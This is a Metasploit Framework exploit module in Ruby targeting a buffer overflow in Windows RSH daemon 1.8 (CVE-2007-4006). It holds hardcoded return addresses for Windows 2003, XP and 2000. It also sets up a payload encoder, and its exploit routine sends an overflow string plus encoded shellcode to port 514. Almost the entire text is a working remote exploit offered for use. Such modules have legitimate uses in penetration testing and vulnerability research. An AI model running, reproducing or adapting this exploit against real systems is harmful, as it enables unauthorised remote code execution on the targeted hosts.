Windows RSH daemon Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Windows RSH daemon Buffer Overflow',  
'Description' => %q{  
This module exploits a vulnerabliltiy in Windows RSH daemon 1.8.  
The vulnerability is due to a failure to check for the length of input sent  
to the RSH server. A CPORT of 512 -> 1023 must be configured for the exploit  
to be successful.   
},  
'Author' => 'MC',  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>   
[   
['CVE', '2007-4006'],  
['OSVDB', '38572'],  
['BID', '25044'],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'Space' => 850,  
'BadChars' => "\x00",  
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",  
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows 2003 SP1 English', { 'Ret' => 0x77409dbb } ],  
[ 'Windows XP Pro SP2 English', { 'Ret' => 0x7e497c7b } ],  
[ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77f81be3 } ],  
],  
'Privileged' => true,  
'DisclosureDate' => 'Jul 24 2007',  
'DefaultTarget' => 0))  
  
register_options([Opt::RPORT(514)], self.class)  
  
end  
  
def exploit  
connect  
  
sploit = (("\x00" + rand_text_english(1)) * 2) + "\x00"  
sploit << rand_text_english(1024) + [target.ret].pack('V')  
sploit << payload.encoded   
  
print_status("Trying target #{target.name}...")  
  
sock.put(sploit)  
  
handler  
disconnect  
end  
  
end  
`